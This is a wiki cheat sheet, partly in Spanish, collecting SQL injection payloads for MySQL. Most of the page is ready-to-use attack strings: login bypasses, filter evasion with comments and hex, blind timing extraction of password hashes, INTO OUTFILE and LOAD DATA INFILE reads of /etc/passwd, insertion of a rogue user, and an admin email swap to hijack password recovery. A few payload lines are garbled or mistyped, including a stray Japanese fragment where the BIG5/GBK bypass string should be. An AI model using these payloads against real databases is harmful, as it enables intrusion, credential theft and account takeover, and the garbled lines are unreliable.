SQL Injection

Técnicas

```
* /**/
* /*--*/
* +
* %09
* %0A
* %0D
```

Extraido de 0x000000.com

```
1  SELECT * FROM login /* foobar */
2  SELECT * FROM login WHERE id = 1 OR 1=1
3  SELECT * FROM login WHERE id = 1 OR 1=1 AND USER LIKE "%root%"
```

Use inside login form:

```
01  1' OR 1=1--
02  1' OR '1' = '1
03  '
04  ''
05  'or"='
06  ') or ('a'='a
07  ") or ("a"="a
08  hi" or "a"="a
09  or a=a--
10  admin'--
11  ' or 0=0 --
12  " or 0=0 --
13  or 0=0 --
14  ' or 'x'='x
15  " or "x"="x
16  ') or ('x'='x
17  ' or 1=1--
18  " or 1=1--
19  or 1=1--
20  ' or a=a--
21  " or "a"="a
```

Variations:

```
01  SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
02   SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND USER L/**/IKE
"%root%"
03
```

```
04   SHOW TABLES
05   SELECT * FROM login WHERE id = 1 OR 1=1 AND SHOW TABLES
06
07   SELECT VERSION
08   SELECT * FROM login WHERE id = 1 OR 1=1 AND SELECT VERSION()
09
10  SELECT host,USER,db FROM mysql.db
11  SELECT * FROM login WHERE id = 1 OR 1=1 AND SELECT host,USER,db FROM
mysql.db;
```

Blind injection vectors collection

```
Operators

1  SELECT 1 && 1;
2   SELECT 1 || 1;
3   SELECT 1 XOR 0;
```

```
Evaluate
1  ALL render TRUE OR 1.
2   SELECT 0.1 <= 2;
3   SELECT 2 >= 2;
4   SELECT ISNULL(1/0);
```

```
Math
1  SELECT FLOOR(7 + (RAND() * 5));
2   SELECT ROUND(23.298, -1);
```

```
Misc
1   SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
2    SELECT MD5('abc');
```

```
Benchmark
01  SELECT BENCHMARK(10000000,ENCODE('abc','123'));
02   (this takes around 5 sec ON a localhost)
03
04   SELECT BENCHMARK(1000000,MD5(CHAR(116)))
05   (this takes around 7 sec ON a localhost)
06
07   SELECT BENCHMARK(10000000,MD5(CHAR(116)))
08   (this takes around 70 sec ON a localhost!)
09
10  USING the timeout TO CHECK IF USER EXISTS
11  SELECT IF( USER = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
```

Beware of of the N rounds, add an extra zero and it could stall or crash your browser! Gathering info

```
Table mapping
1   SELECT COUNT(*) FROM tablename
```

```
Field mapping
1   SELECT * FROM tablename WHERE user LIKE "%root%"
2    SELECT * FROM tablename WHERE user LIKE "%"
3    SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
4    SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
```

```
User mapping
1   SELECT * FROM tablename WHERE email = 'user@site.com';
2    SELECT * FROM tablename WHERE user LIKE "%root%"
3    SELECT * FROM tablename WHERE user = 'username'
```

```
Advanced SQL vectors
Writing info INTO files.
1  SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'
```

```
Writing info INTO files WITHOUT single quotes: (example)
1  SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),
2   CHAR( 39)) INTO OUTFILE
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),
3   CHAR( 39))
Note: You must specify a NEW file, it may NOT EXISTS AND give the correct
pathname.
```

```
The CHAR() quoteless FUNCTION.
1  SELECT * FROM login WHERE USER =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),
2   CHAR(110),CHAR( 39))
3
4   SELECT * FROM login WHERE USER = CHAR(39,97,39)
```

```
Extracting hashes
1  SELECT USER FROM login WHERE USER = 'root'
2   UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),NULL) FROM login
```

This evaluates the first char of the password hash from user 'root' which is 'a' (ASCII 97).

The hash is max 32 chars, and for every chars you'll need to execute the query with CHAR()

The way to extract hashes is done this way if single quotes are allowed, see beneath it a quoteless example.

```
01  SELECT USER FROM login WHERE USER = 'admin'
02   UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),NULL) FROM login1
03
04   1SELECT USER FROM login WHERE USER = 'admin'
05   UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),NULL) FROM login
```

```
06
07   WHERE: (passwordfield,startcharacter,selectlength)
08
09   IS LIKE: (password,1,2) this selects: 'ab'
10  IS LIKE: (password,1,3) this selects: 'abc'
11  IS LIKE: (password,1,4) this selects: 'abcd'
```

A quoteless example:

```
1  SELECT USER FROM login WHERE USER =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
2   UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),NULL) FROM login
```

Possible chars 0 to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122 Misc. Insert a new user into DB

```
1  INSERT INTO login SET USER = 'r00t', pass = 'abc'
```

Retrieve /etc/passwd file, put it into a field and insert a new user.

```
1   load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET
user = 'r00t', pass = 'abc'
```

Then login!

Write the DB user away into tmp

```
1  SELECT host,USER,password FROM USER INTO OUTFILE '/tmp/passwd';
```

Change admin e-mail, for “forgot login retrieval.”

```
1   UPDATE users set email = 'mymail@site.com' WHERE email =
'admin@site.com';
```

Bypassing PHP functions Bypassing addslashes() with GBK HEX encoding.

```
1   WHERE x = 0xbf27 admin 0xbf27
```

Using an HEX encoded query to bypass escaping.

```
1  Normal: SELECT * FROM login WHERE USER = 'root'
2   Bypass: SELECT * FROM login WHERE USER = 0x726F6F74
```

Inserting a new user in SQL.

```
1   Normal: insert into login set user = 'root', pass = 'root'
2    Bypass: insert into login set user = 0x726F6F74, pass = 0x726F6F74
```

How to determin the HEX value for injection.

```
1  SELECT HEX('root'); gives you: 726F6F74. THEN ADD: 0x BEFORE it.
```

With comments.

```
1   S/**/E/**/L/**/E/**/C/**/T * F/**/R/**/O/**/M l/**/o/**/g/**/i/**/n
2    W/**/H/**/E/**/R/**/E u/**/s/**/e/**/r = 0x726F6F74
```

Bypassing mysql_real_escape_string() with BIG5 or GBK

```
1   "injection string" に関する追加情報:
```

(MySQL 4.1.x before 4.1.20 and 5.0.x)

Herramientas

Havij → http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/

Referencias

- http://ha.ckers.org/sqlinjection/

From:
https://intrusos.info/ - **LCWIKI**

Permanent link:
https://intrusos.info/doku.php?id=seguridad:sql_injection&rev=1363596580

Last update: **2023/01/18 13:57**